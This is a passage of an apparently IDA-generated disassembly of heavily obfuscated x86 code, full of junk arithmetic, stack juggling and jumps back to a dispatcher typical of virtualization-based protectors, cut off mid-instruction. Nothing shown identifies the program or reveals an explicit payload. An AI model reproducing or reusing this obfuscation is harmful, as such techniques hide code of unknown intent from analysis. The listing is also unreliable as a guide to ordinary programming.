loc_5A0C1C: ; CODE XREF: sub_57DD3A+24D4Bj pop ecx jmp loc_595F5F ; --------------------------------------------------------------------------- loc_5A0C22: ; CODE XREF: sub_57DD3A+230A5j mov dh, 0F9h or dh, 16h xor dh, 0E5h jmp loc_590246 ; --------------------------------------------------------------------------- loc_5A0C2F: ; CODE XREF: sub_57DD3A+20F4Aj xchg ebp, [esp+42h+var_42] jmp loc_597D25 ; --------------------------------------------------------------------------- loc_5A0C37: ; CODE XREF: sub_57DD3A+1F0FCj xchg edx, [esp+1Ch+var_1E+2] inc edx jmp loc_5902A8 ; --------------------------------------------------------------------------- loc_5A0C40: ; CODE XREF: sub_57DD3A+14F56j mov [esp+7Ah+var_7C+2], edx mov dl, 0D8h push bx mov bh, 0E1h and dl, bh pop bx add dl, 5Fh jmp loc_597065 ; --------------------------------------------------------------------------- loc_5A0C55: ; CODE XREF: sub_57DD3A+15EF5j pop ecx push edi mov edi, esp add edi, 4 push ebp mov ebp, 38AA4E2Dh xor ebp, 242505CBh jmp loc_5A2A2A ; --------------------------------------------------------------------------- loc_5A0C70: ; CODE XREF: sub_57DD3A+1D77Aj push edx jmp loc_590ED7 ; --------------------------------------------------------------------------- loc_5A0C76: ; CODE XREF: sub_57DD3A+219E1j mov ecx, esp add ecx, 4 jmp loc_593F70 ; --------------------------------------------------------------------------- loc_5A0C83: ; CODE XREF: sub_57DD3A+1B7ECj add eax, 4 add eax, 4 xchg eax, [esp+44h+var_46+2] mov esp, [esp+44h+var_46+2] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0C98: ; CODE XREF: sub_57DD3A+1925Aj sub eax, 235DF5B4h shl eax, 8 shl eax, 8 jmp loc_594E57 ; --------------------------------------------------------------------------- loc_5A0CA8: ; CODE XREF: sub_57DD3A+20B64j pop ebp jmp loc_5A2D67 ; --------------------------------------------------------------------------- loc_5A0CAE: ; CODE XREF: sub_57DD3A+1E18Aj pop edx jmp loc_5957E5 ; --------------------------------------------------------------------------- loc_5A0CB4: ; CODE XREF: sub_57DD3A+1AF0Cj xor [esp+74h+var_74], ebx xor ebx, [esp+74h+var_74] jmp loc_59F6E9 ; --------------------------------------------------------------------------- loc_5A0CBF: ; CODE XREF: sub_57DD3A+10E3Fj mov ebx, esp push eax jmp loc_59E91D ; --------------------------------------------------------------------------- loc_5A0CC7: ; CODE XREF: sub_57DD3A+1D3EFj add esp, 4 sub ebp, 5A123CA0h add ebp, edi add ebp, 5A123CA0h mov edi, [esp+46h+var_46] add esp, 4 add ebp, 2 xchg ebp, [esp+42h+var_42] jmp loc_5926B9 ; --------------------------------------------------------------------------- loc_5A0CF2: ; CODE XREF: sub_57DD3A+1F6A7j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] jmp loc_593D45 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi push esp pop esi jmp loc_5938A8 ; --------------------------------------------------------------------------- loc_5A0D14: ; CODE XREF: sub_57DD3A+2310Fj mov [esp+0Ch+var_E+2], ecx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0D1C: ; CODE XREF: sub_57DD3A+1DD92j push 0 sub byte ptr [esp+94h+var_94], dh jmp loc_5915B9 ; --------------------------------------------------------------------------- push [esp+94h+var_94] push [esp+98h+var_98] mov ecx, [esp+9Ch+var_9C] add esp, 4 jmp loc_59025B ; --------------------------------------------------------------------------- loc_5A0D3A: ; CODE XREF: sub_57DD3A+17DBBj sub edi, 89352089h sub esi, edi jmp loc_59AC8C ; --------------------------------------------------------------------------- loc_5A0D47: ; CODE XREF: sub_57DD3A+1C0FDj add esi, edi pop edi jmp loc_58F16A ; --------------------------------------------------------------------------- loc_5A0D4F: ; CODE XREF: sub_57DD3A+245F9j or ebx, 7B1D62E1h xor ebx, 8127F510h jmp loc_58F457 ; --------------------------------------------------------------------------- loc_5A0D60: ; CODE XREF: sub_57DD3A+17B65j xor [esp+60h+var_60], edx jmp loc_594743 ; --------------------------------------------------------------------------- loc_5A0D68: ; CODE XREF: sub_57DD3A+1899Bj mov ecx, 2C614329h shl ecx, 5 sub ecx, 30C15E3Ah add ebx, ecx pop ecx add ebx, 5CBA1A52h add ebx, ebp sub ebx, 5CBA1A52h sub ebx, 5B6706E6h pop ebp xor ebx, [esp+70h+var_70] jmp loc_5974A4 ; --------------------------------------------------------------------------- loc_5A0D96: ; CODE XREF: sub_57DD3A+1BBE7j push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0D9E: ; CODE XREF: sub_57DD3A+18FC0j dec cx add cx, 1 push si jmp loc_5A0AF5 ; --------------------------------------------------------------------------- loc_5A0DAC: ; CODE XREF: sub_57DD3A+1BC91j pop edi jmp loc_59E374 ; --------------------------------------------------------------------------- loc_5A0DB2: ; CODE XREF: sub_57DD3A+24F3Aj add esp, 4 push ecx mov ecx, 4AC267EFh jmp loc_59A7E7 ; --------------------------------------------------------------------------- loc_5A0DC3: ; CODE XREF: sub_57DD3A+153A1j push 79A1h mov [esp+3Ch+var_3E+2], edx mov edx, 540569BCh add edx, 0FFFFFFFFh inc edx jmp loc_5962B4 ; --------------------------------------------------------------------------- loc_5A0DDC: ; CODE XREF: sub_57DD3A+196FAj mov [esp+2Ch+var_2E+2], edx jmp loc_5A0C22 ; --------------------------------------------------------------------------- loc_5A0DE4: ; CODE XREF: sub_57DD3A+24A43j not eax add eax, 2AD740C9h shr eax, 6 and eax, 780D73A0h sub eax, 0C107Ch add edi, eax pop eax add edi, 4 xchg edi, [esp+28h+var_2A+2] pop esp jmp loc_5953A4 ; --------------------------------------------------------------------------- loc_5A0E0A: ; CODE XREF: sub_57DD3A+1C286j mov edx, 40582262h push ecx jmp loc_590644 ; --------------------------------------------------------------------------- loc_5A0E15: ; CODE XREF: sub_57DD3A+12CAEj push esp pop ecx push 382Fh mov [esp+10h+var_12+2], esi jmp loc_599F7A ; --------------------------------------------------------------------------- loc_5A0E24: ; CODE XREF: sub_57DD3A+14F8Dj add edi, 4 jmp loc_5A0505 ; --------------------------------------------------------------------------- loc_5A0E2C: ; CODE XREF: sub_57DD3A+10D16j add ebx, eax add ebx, 75346506h jmp loc_596C03 ; --------------------------------------------------------------------------- loc_5A0E39: ; CODE XREF: sub_57DD3A+2172Bj add ebp, edi jmp loc_591C48 ; --------------------------------------------------------------------------- loc_5A0E40: ; CODE XREF: sub_57DD3A+160EBj pop esp movzx ecx, ax push 30E2h jmp loc_5A0D14 ; --------------------------------------------------------------------------- loc_5A0E4E: ; CODE XREF: sub_57DD3A+1991Bj push 1661h jmp loc_59E986 ; --------------------------------------------------------------------------- loc_5A0E58: ; CODE XREF: sub_57DD3A+23949j push eax push edx sub esp, 4 jmp loc_595680 ; --------------------------------------------------------------------------- loc_5A0E62: ; CODE XREF: sub_57DD3A+1E66Aj mov ebx, [esp+36h+var_36] add esp, 4 mov ebp, [esp+32h+var_32] add esp, 4 pop dword ptr [edi+24h] loc_5A0E74: ; CODE XREF: sub_57DD3A+21541j push eax jmp loc_592D41 ; --------------------------------------------------------------------------- loc_5A0E7A: ; CODE XREF: sub_57DD3A+1CEF4j and ecx, edx push [esp+2Ah+var_2A] mov edx, [esp+2Eh+var_2E] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_59D9AE ; --------------------------------------------------------------------------- loc_5A0E96: ; CODE XREF: sub_57DD3A+1A938j not esi xchg esi, ecx sub ecx, 0B1A6F7F4h add ebp, ecx pop ecx push ecx mov ecx, 4 add ebp, 44F60B63h add ebp, ecx sub ebp, 44F60B63h pop ecx xchg ebp, [esp+22h+var_22] mov esp, [esp+22h+var_22] add [esp+22h+var_22], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0EC7: ; CODE XREF: sub_57DD3A+17EAAj xor edx, [esp+22h+var_22] mov esp, [esp+22h+var_22] xchg ebx, [esp+22h+var_22] mov esp, [esp+22h+var_22] div cx push 1C4Ah mov [esp+26h+var_26], ebp push esp push [esp+2Ah+var_2A] pop ebp jmp loc_59CB8C ; --------------------------------------------------------------------------- loc_5A0EE8: ; CODE XREF: sub_57DD3A+21D48j xor ebx, 31569B9h xor esi, ebx mov ebx, [esp-6+arg_0+2] jmp loc_590F31 ; --------------------------------------------------------------------------- loc_5A0EF8: ; CODE XREF: sub_57DD3A+235B7j push edi mov edi, 2C1B13D1h add edi, 0D3E4EC33h add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp-6+arg_0+2] pop esp jmp loc_5A1688 ; --------------------------------------------------------------------------- loc_5A0F13: ; CODE XREF: sub_57DD3A+1946Aj popa jmp loc_58ED80 ; --------------------------------------------------------------------------- loc_5A0F19: ; CODE XREF: sub_57DD3A+10CF8j mov [esp+0Ch+var_E+2], esi push esp jmp loc_5A23F3 ; --------------------------------------------------------------------------- loc_5A0F22: ; CODE XREF: sub_57DD3A+174B4j sub ebx, 486F476Fh sub ebx, 1953271Dh sub ebx, 4F41220Dh add ebx, 383C1B69h add ebx, eax jmp loc_59A9C3 ; --------------------------------------------------------------------------- loc_5A0F41: ; CODE XREF: sub_57DD3A+175BDj sub edi, 44EC05E6h pop esi sub ebx, edi jmp loc_5933D3 ; --------------------------------------------------------------------------- loc_5A0F4F: ; CODE XREF: sub_57DD3A+19EE0j push edx mov edx, 54DF2670h add edi, edx pop edx sub esp, 4 mov [esp+42h+var_42], ebp jmp loc_5A06A0 ; --------------------------------------------------------------------------- loc_5A0F66: ; CODE XREF: sub_57DD3A+20022j sub ebp, 4 xchg ebp, [esp+34h+var_36+2] jmp loc_59ED51 ; --------------------------------------------------------------------------- loc_5A0F71: ; CODE XREF: sub_57DD3A+21252j add esp, 4 and eax, ecx mov ecx, [esp+32h+var_32] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_593199 ; --------------------------------------------------------------------------- loc_5A0F89: ; CODE XREF: sub_57DD3A+130EBj add ebx, 61616103h xor ebx, 2AF14C40h sub edi, ebx pop ebx mov edx, edi pop edi push 5719h mov [esp+58h+var_58], ebx push 20DF7A07h pop ebx xor ebx, 4CFD30F5h add edx, ebx pop ebx sub edx, 6E6F5F71h add edx, edi push ebp mov ebp, 43405C36h sub ebp, 0D4D0FCC5h add edx, ebp pop ebp sub edx, 6C224AF2h mov ecx, [edx] pop edx push 4BDAh mov [esp+54h+var_54], ebx push edi mov edi, 282F0099h push edi push edx mov edx, 1 add [esp+60h+var_5C], edx pop edx pop edi push ebp mov ebp, 69A05FE8h xor edi, ebp mov ebp, [esp+5Ch+var_5C] add esp, 4 jmp loc_58E7F1 ; --------------------------------------------------------------------------- loc_5A1003: ; CODE XREF: sub_57DD3A+1195Cj add esp, 4 pop [esp+7Ch+var_7C] jmp loc_59EE3D ; --------------------------------------------------------------------------- loc_5A1011: ; CODE XREF: sub_57DD3A+1A603j push [esp+2Eh+var_2E] pop ebp add esp, 4 shr edi, 8 xor edi, 50F745F7h xor edi, 1E461E3Eh jmp loc_599C20 ; --------------------------------------------------------------------------- loc_5A102F: ; CODE XREF: sub_57DD3A+14153j add eax, edx jmp loc_59541E ; --------------------------------------------------------------------------- loc_5A1036: ; CODE XREF: sub_57DD3A+207A3j sub eax, 4 xchg eax, [esp+80h+var_80] jmp loc_597A95 ; --------------------------------------------------------------------------- loc_5A1041: ; CODE XREF: sub_57DD3A+14767j sub eax, 6E047B32h add ecx, eax pop eax sub edi, 2FC81F53h sub edi, 57DB22AAh add edi, ecx jmp loc_596831 ; --------------------------------------------------------------------------- loc_5A105C: ; CODE XREF: sub_57DD3A+1E8D6j pop [esp+14h+var_16+2] mov esp, [esp+10h+var_12+2] mov [esp+10h+var_12+2], ecx jmp loc_5A11F9 ; --------------------------------------------------------------------------- loc_5A106A: ; CODE XREF: sub_57DD3A+1DC92j add esp, 4 jmp loc_590106 ; --------------------------------------------------------------------------- loc_5A1072: ; CODE XREF: sub_57DD3A+213D4j xchg ebx, [esp+8+var_8] jmp loc_59C00C ; --------------------------------------------------------------------------- loc_5A107A: ; CODE XREF: sub_57DD3A+108C2j mov [esp+18h+var_1A+2], ecx jmp loc_59F55B ; --------------------------------------------------------------------------- loc_5A1082: ; CODE XREF: sub_57DD3A+11821j push esp pop edx add edx, 4 push ebx jmp loc_59207E ; --------------------------------------------------------------------------- loc_5A1090: ; CODE XREF: sub_57DD3A+1CF3Cj add esp, 4 sub ecx, 1A7F1C8Fh add ecx, eax add ecx, 1A7F1C8Fh jmp loc_599885 ; --------------------------------------------------------------------------- loc_5A10A6: ; CODE XREF: sub_57DD3A+22E7Dj push esi jmp loc_59E079 ; --------------------------------------------------------------------------- loc_5A10AC: ; CODE XREF: sub_57DD3A+10A0Cj add esp, 4 jmp loc_599856 ; --------------------------------------------------------------------------- loc_5A10B7: ; CODE XREF: sub_57DD3A+214EDj push ecx jmp loc_59165F ; --------------------------------------------------------------------------- loc_5A10BD: ; CODE XREF: sub_57DD3A+14417j pop edi jmp loc_5A084E ; --------------------------------------------------------------------------- loc_5A10C3: ; CODE XREF: sub_57DD3A+1616Fj push 48EAh mov [esp+54h+var_54], edx push 2AEB0FD9h pop edx jmp loc_594E1C ; --------------------------------------------------------------------------- loc_5A10D6: ; CODE XREF: sub_57DD3A+22A07j xor bh, ah pop eax mov cl, bh jmp loc_59BD8A ; --------------------------------------------------------------------------- loc_5A10E0: ; CODE XREF: sub_57DD3A+13710j or ah, 0B5h sub ah, 0C9h jmp loc_5911A5 ; --------------------------------------------------------------------------- loc_5A10EB: ; CODE XREF: sub_57DD3A+1D64Fj add ebp, eax push eax mov eax, 7C2F5587h not eax shl eax, 4 sub eax, 0D47C90E7h sub ebp, eax pop eax pop eax sub ebp, 621B2B61h add ebp, eax add ebp, 621B2B61h sub ebp, 92A07DAh pop eax inc ebp not ebp sub ebp, 0FFFFFFFFh xchg ebx, ebp not ebx xor ebp, ebx xor ebx, ebp xor ebp, ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+10h+var_12+2] pop esp mov [esp+0Ch+var_E+2], esi mov esi, 2266A84h and ebp, esi pop esi xor ebp, 4BFFBh mov ecx, ebp push [esp+8+var_8] pop ebp add esp, 4 and eax, ecx jmp loc_5976D9 ; --------------------------------------------------------------------------- loc_5A115D: ; CODE XREF: sub_57DD3A+13B19j add eax, ecx push ecx push eax jmp loc_597B78 ; --------------------------------------------------------------------------- loc_5A1166: ; CODE XREF: sub_57DD3A+154CBj mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] pop esp mov [esp+0], eax xor dword ptr [esp+0], 42BA720Ah jmp loc_59AA65 ; --------------------------------------------------------------------------- loc_5A118A: ; CODE XREF: sub_57DD3A+207BEj sub ebx, eax pop eax and ecx, ebx pop ebx jmp loc_5976BC ; --------------------------------------------------------------------------- loc_5A1195: ; CODE XREF: sub_57DD3A+19C4Ej pop eax add esi, ebx mov ebx, [esp+68h+var_68] push edx mov edx, esp jmp loc_598044 ; --------------------------------------------------------------------------- loc_5A11A3: ; CODE XREF: sub_57DD3A+12990j pop edi and edi, 709A59BEh push eax jmp loc_58F131 ; --------------------------------------------------------------------------- loc_5A11B0: ; CODE XREF: sub_57DD3A+1B4E1j mov eax, 6618590Dh sub edx, eax pop eax add edx, eax push ebp mov ebp, 6618590Dh add edx, ebp jmp loc_58EC98 ; --------------------------------------------------------------------------- loc_5A11C7: ; CODE XREF: sub_57DD3A+1C169j sub eax, 0D4AE48B1h add edx, eax mov eax, [esp+40h+var_42+2] jmp loc_58EEFE ; --------------------------------------------------------------------------- loc_5A11D6: ; CODE XREF: sub_57DD3A+15C72j push 479Bh mov [esp+8+var_8], ebx mov eax, [esp+8+var_8] add esp, 4 mov ebx, [esp+4+var_4] add esp, 4 pop esi add ebp, 41274426h jmp loc_599950 ; --------------------------------------------------------------------------- loc_5A11F9: ; CODE XREF: sub_57DD3A+2332Bj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A11FE: ; CODE XREF: sub_57DD3A+22DB6j add ah, 0D8h add bl, ah pop eax jmp loc_59C44A ; --------------------------------------------------------------------------- loc_5A1209: ; CODE XREF: sub_57DD3A+17160j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A120E: ; CODE XREF: sub_57DD3A+212A6j mov ecx, 1F312819h or ecx, 6A3049E7h jmp loc_59D7DF ; --------------------------------------------------------------------------- loc_5A121E: ; CODE XREF: sub_57DD3A+1BC09j push [esp+60h+var_5C] jmp loc_593CCF ; --------------------------------------------------------------------------- loc_5A1227: ; CODE XREF: sub_57DD3A+1723Ej neg ecx not ecx jmp loc_593915 ; --------------------------------------------------------------------------- loc_5A1230: ; CODE XREF: sub_57DD3A+1BDE4j pop esp xor al, bh mov ebx, [esp+0] jmp loc_596C27 ; --------------------------------------------------------------------------- loc_5A123B: ; CODE XREF: sub_57DD3A+1CD1Aj mov esi, 4 add edi, 0FA726F6h sub edi, 7A9C72A5h add edi, esi add edi, 7A9C72A5h sub edi, 0FA726F6h pop esi jmp loc_59E30F ; --------------------------------------------------------------------------- loc_5A1260: ; CODE XREF: sub_57DD3A+1530Fj or edi, 53FC3F82h push esi mov esi, 44F84DBAh and edi, esi pop esi add edi, 0E39C1398h add eax, 4CCD1770h jmp loc_598754 ; --------------------------------------------------------------------------- loc_5A127F: ; CODE XREF: sub_57DD3A+20274j push edx mov edx, 40395871h jmp loc_596AE9 ; --------------------------------------------------------------------------- loc_5A128A: ; CODE XREF: sub_57DD3A+1B7B1j add esi, 4 sub esi, 4 xchg esi, [esp+54h+var_54] pop esp mov [esp+50h+var_50], ecx push 6132h mov [esp+54h+var_54], ebx jmp loc_595E5B ; --------------------------------------------------------------------------- loc_5A12A7: ; CODE XREF: sub_57DD3A+1BE92j xor ebx, edx pop edx shl ebx, 2 jmp loc_58FC3E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp+6+var_8+2], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A12C0: ; CODE XREF: sub_57DD3A+21F87j and esi, 724968D4h shr esi, 3 sub esi, 0AE4483h add esi, 480045C7h mov ebp, esi jmp loc_599EB9 ; --------------------------------------------------------------------------- loc_5A12DC: ; CODE XREF: sub_57DD3A+1E469j push [esp+58h+var_58] push [esp+5Ch+var_5C] mov eax, [esp+60h+var_60] jmp loc_59C537 ; --------------------------------------------------------------------------- loc_5A12EA: ; CODE XREF: sub_57DD3A+1F97Bj pop ecx push esi push esp pop esi push ecx mov ecx, esp jmp loc_5A0EF8 ; --------------------------------------------------------------------------- loc_5A12F6: ; CODE XREF: sub_57DD3A+1B657j mov al, 0C2h jmp loc_598813 ; --------------------------------------------------------------------------- loc_5A12FD: ; CODE XREF: sub_57DD3A+1EC53j mov [esp+0Eh+var_E], eax mov eax, 0DC55B6Ch add edi, eax jmp loc_599CC9 ; --------------------------------------------------------------------------- loc_5A130C: ; CODE XREF: sub_57DD3A+1C80Fj sub ecx, 4 jmp loc_592755 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+70h+var_70] sub esp, 4 mov [esp+74h+var_74], eax push 5F1Bh mov [esp+78h+var_78], esp jmp loc_59BBBD ; --------------------------------------------------------------------------- loc_5A1331: ; CODE XREF: sub_57DD3A+11D60j mov [esp+20h+var_22+2], ebp push [esp+20h+var_1E+2] pop ebp pop [esp+20h+var_22+2] mov esp, [esp+1Ch+var_1E+2] mov [esp+1Ch+var_1E+2], ecx push ebx mov ebx, 71FC5B3Fh mov ecx, 8E03A4C3h add ecx, ebx pop ebx mov esi, ecx pop ecx add edx, esi push [esp+18h+var_1A+2] jmp loc_59F224 ; --------------------------------------------------------------------------- loc_5A135D: ; CODE XREF: sub_57DD3A+1DA83j push edi mov edi, esp push ecx push eax jmp loc_590655 ; --------------------------------------------------------------------------- loc_5A1367: ; CODE XREF: sub_57DD3A+1D391j shr esi, 5 jmp loc_59A455 ; --------------------------------------------------------------------------- loc_5A136F: ; CODE XREF: sub_57DD3A+16E00j mov [esp+7Ah+var_7C+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+7Ah+var_7C+2] jmp loc_5986B9 ; --------------------------------------------------------------------------- loc_5A1385: ; CODE XREF: sub_57DD3A+17109j inc ecx jmp loc_59EDE5 ; --------------------------------------------------------------------------- loc_5A138B: ; CODE XREF: sub_57DD3A+1A338j push ebp push esi mov esi, 589D6CA1h mov ebp, esi push [esp+66h+var_68+2] pop esi add esp, 4 push ebx mov ebx, 1389D32Eh add ebp, 102D7F7Dh add ebp, ebx sub ebp, 102D7F7Dh pop ebx mov edx, ebp jmp loc_59A688 ; --------------------------------------------------------------------------- loc_5A13BA: ; CODE XREF: sub_57DD3A+24748j add edi, ebp mov ebp, [esp+62h+var_64+2] add esp, 4 push ecx push edi mov edi, 0A7C721Fh xor edi, 39DC7BEEh jmp loc_58EAD3 ; --------------------------------------------------------------------------- loc_5A13D4: ; CODE XREF: sub_57DD3A+17B12j add esp, 4 jmp loc_59FBA6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+76h+var_78+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A13EC: ; CODE XREF: sub_57DD3A+16E87j mov edi, 0A0C54F57h jmp loc_59F504 ; --------------------------------------------------------------------------- loc_5A13F6: ; CODE XREF: sub_57DD3A+1C3ADj sub eax, 3B321091h sub eax, ecx add eax, 3B321091h pop ecx push 7A1Dh jmp loc_58FFAB ; --------------------------------------------------------------------------- loc_5A140D: ; CODE XREF: sub_57DD3A+145C7j pop ebp sub esp, 4 mov [esp+56h+var_58+2], ebp mov ebp, 556530D9h jmp loc_59EFBC ; --------------------------------------------------------------------------- loc_5A141E: ; CODE XREF: sub_57DD3A+20B7Aj dec esi sub esi, 0DB44CB5h add edx, esi pop esi push ebx mov ebx, 173522Ah add edx, ebx pop ebx jmp loc_592900 ; --------------------------------------------------------------------------- loc_5A1436: ; CODE XREF: sub_57DD3A+1E6E6j mov ebp, 1F594F9Dh jmp loc_59D768 ; --------------------------------------------------------------------------- push [esp+80h+var_80] jmp loc_5991AC ; --------------------------------------------------------------------------- loc_5A1448: ; CODE XREF: sub_57DD3A+110ABj not ecx push edx mov edx, 49DC4692h inc edx jmp loc_593824 ; --------------------------------------------------------------------------- loc_5A1456: ; CODE XREF: sub_57DD3A+1FC38j push [esp+32h+var_32] jmp loc_599100 ; --------------------------------------------------------------------------- loc_5A145E: ; CODE XREF: sub_57DD3A+1835Cj sub cl, bh jmp loc_59E595 ; --------------------------------------------------------------------------- loc_5A1465: ; CODE XREF: sub_57DD3A+1A2EEj xor eax, [esp+58h+var_58] xor [esp+58h+var_58], eax xor eax, [esp+58h+var_58] jmp loc_5979AA ; --------------------------------------------------------------------------- loc_5A1473: ; CODE XREF: sub_57DD3A+1B7A0j add ebp, 74CA771Dh add ebp, ecx jmp loc_5968DC ; --------------------------------------------------------------------------- loc_5A1480: ; CODE XREF: sub_57DD3A+187BFj mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_596781 ; --------------------------------------------------------------------------- loc_5A148F: ; CODE XREF: sub_57DD3A+1FAEDj mov edi, 714C2240h jmp loc_5912AB ; --------------------------------------------------------------------------- loc_5A1499: ; CODE XREF: sub_57DD3A+1E4E9j add edx, eax push 1006h mov [esp+46h+var_46], eax jmp loc_5951C3 ; --------------------------------------------------------------------------- loc_5A14A8: ; CODE XREF: sub_57DD3A+23916j push ebx mov ebx, 30286467h mov eax, ebx mov ebx, [esp+4Ah+var_4C+2] jmp loc_590181 ; --------------------------------------------------------------------------- loc_5A14B8: ; CODE XREF: sub_57DD3A+21741j mov ecx, esp jmp loc_5930E0 ; --------------------------------------------------------------------------- loc_5A14BF: ; CODE XREF: sub_57DD3A+11EE2j sub edx, 7756554Fh push [esp+18h+var_1A+2] pop esi add esp, 4 add eax, edx pop edx xor ecx, eax xor eax, ecx xor ecx, eax xor [edi+24h], ecx push ebx mov ebx, 24h add ebx, edi push eax mov eax, 0 add eax, ebx xor ecx, [eax] pop eax pop ebx jmp loc_5A1B86 ; --------------------------------------------------------------------------- loc_5A14F4: ; CODE XREF: sub_57DD3A+1AE5Fj pop esi jmp loc_59EC60 ; --------------------------------------------------------------------------- loc_5A14FA: ; CODE XREF: sub_57DD3A+1F36Aj push 22E77263h pop ebx not ebx add ebx, 7847AF22h mov ecx, ebx pop ebx add ecx, 1E0912BDh add ecx, 603226F1h jmp loc_591849 ; --------------------------------------------------------------------------- loc_5A151C: ; CODE XREF: sub_57DD3A+24E10j sub ebx, eax jmp loc_5A22A8 ; --------------------------------------------------------------------------- loc_5A1523: ; CODE XREF: sub_57DD3A+15F6Bj add [esp+24h+var_26+2], 4 pop [esp+24h+var_26+2] add [esp+20h+var_22+2], 4 mov ebp, [esp+20h+var_22+2] add esp, 4 add ebp, 4 push 70CEh mov [esp+20h+var_22+2], edi push eax push edi push ebp mov ebp, 25D72F74h mov edi, 0DF051214h add edi, ebp pop ebp dec edi sub edi, 0EA9BEE95h mov eax, edi jmp loc_5A285E ; --------------------------------------------------------------------------- loc_5A1563: ; CODE XREF: sub_57DD3A+18CCEj xor ebp, [esp+2Ch+var_2E+2] pop esp xor byte ptr [esp+28h+var_2A+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A1570: ; CODE XREF: sub_57DD3A+22E70j and esi, ecx pop ecx jmp loc_59002C ; --------------------------------------------------------------------------- loc_5A1578: ; CODE XREF: sub_57DD3A+18391j shl ecx, 3 shr ecx, 2 and ecx, 3BEE023Ah jmp loc_59C5CF ; --------------------------------------------------------------------------- loc_5A1589: ; CODE XREF: sub_57DD3A+24939j add edi, 5A1DDDFCh xor ebx, edi mov edi, [esp+58h+var_58] jmp loc_59709D ; --------------------------------------------------------------------------- loc_5A1599: ; CODE XREF: sub_57DD3A+147ADj pop ecx jmp loc_59C832 ; --------------------------------------------------------------------------- loc_5A159F: ; CODE XREF: sub_57DD3A+210CBj shl bh, 1 jmp loc_593817 ; --------------------------------------------------------------------------- loc_5A15A6: ; CODE XREF: sub_57DD3A+11F81j mov esp, [esp+14h+var_16+2] push 3E6Ch jmp loc_58F44D ; --------------------------------------------------------------------------- loc_5A15B3: ; CODE XREF: sub_57DD3A+169A9j add esp, 4 sub ebx, 3BE45DC3h pop eax push eax jmp loc_58EC51 ; --------------------------------------------------------------------------- loc_5A15C6: ; CODE XREF: sub_57DD3A+1F98Aj add esi, 6B7E6C85h neg esi not esi shl esi, 3 or esi, 24850C62h xor esi, 5EC56CD7h xor ebp, esi pop esi jmp loc_59C287 ; --------------------------------------------------------------------------- loc_5A15E7: ; CODE XREF: sub_57DD3A+21D5Ej mov esi, [esp+12h+var_12] add esp, 4 push 7173h mov [esp+12h+var_12], edx push 800000h mov edx, [esp+16h+var_16] push 5710h mov [esp+1Ah+var_1A], ebp push esp jmp loc_59D657 ; --------------------------------------------------------------------------- loc_5A160B: ; CODE XREF: sub_57DD3A+177DAj pop ecx sub ecx, esi pop esi add ebp, 55747466h jmp loc_596B7F ; --------------------------------------------------------------------------- loc_5A161A: ; CODE XREF: sub_57DD3A+22081j pop esp push edx mov edx, 318E07C4h shl edx, 2 sub edx, 0C6381F0Ch sub ebp, edx pop edx xor ebp, [esp+32h+var_32] xor [esp+32h+var_32], ebp jmp loc_592D97 ; --------------------------------------------------------------------------- loc_5A1638: ; CODE XREF: sub_57DD3A+1EB5Dj add ebp, 1A076909h jmp loc_59F8EC ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] push ebp jmp loc_594CC7 ; --------------------------------------------------------------------------- loc_5A164D: ; CODE XREF: sub_57DD3A+20540j add esi, edi push eax jmp loc_5A14A8 ; --------------------------------------------------------------------------- loc_5A1655: ; CODE XREF: sub_57DD3A+229FCj add edx, 4 push ebx mov ebx, 7B6F3130h jmp loc_58F53A ; --------------------------------------------------------------------------- loc_5A1666: ; CODE XREF: sub_57DD3A+1A810j mov [esp+4Eh+var_50+2], ebx mov ebx, 565F5E50h not ebx or ebx, 733F6D08h and ebx, 54926E9Fh jmp loc_5A21E9 ; --------------------------------------------------------------------------- loc_5A1681: ; CODE XREF: sub_57DD3A+117D5j add esi, eax jmp loc_5A0E58 ; --------------------------------------------------------------------------- loc_5A1688: ; CODE XREF: sub_57DD3A+231D4j mov [esp-0Ah+arg_6], eax push ecx push 1B5B0ADDh pop ecx jmp loc_594EC9 ; --------------------------------------------------------------------------- loc_5A1697: ; CODE XREF: sub_57DD3A+12436j add esi, 40DD4350h push 3437h jmp loc_593248 ; --------------------------------------------------------------------------- loc_5A16A7: ; CODE XREF: sub_57DD3A+1E2F9j push [esp+54h+var_50] pop esi pop [esp+54h+var_54] push esi jmp loc_5A07D0 ; --------------------------------------------------------------------------- loc_5A16B5: ; CODE XREF: sub_57DD3A+1DFD3j mov [esp+0], ebx mov ebx, 4 jmp loc_59D0C3 ; --------------------------------------------------------------------------- loc_5A16C2: ; CODE XREF: sub_57DD3A+172EAj add esi, 2 xchg esi, [esp+4+var_4] pop esp jmp loc_5962A5 ; --------------------------------------------------------------------------- loc_5A16CE: ; CODE XREF: sub_57DD3A+25301j mov [esp+0], eax mov eax, 3D847867h jmp loc_5A0BFA ; --------------------------------------------------------------------------- loc_5A16DB: ; CODE XREF: sub_57DD3A+20A98j xor eax, 4591D1C0h sub edi, eax pop eax sub edi, ebp add edi, 7E3A3929h mov ebp, [esp+16h+var_16] add esp, 4 xor eax, edi pop edi sub esp, 4 mov [esp+12h+var_12], edi mov edi, 24FD1198h sub edi, 571B52D0h push edi jmp loc_59F055 ; --------------------------------------------------------------------------- loc_5A1711: ; DATA XREF: sub_57DD3A+105CEo mov ax, word ptr [esp+16h+var_16] push 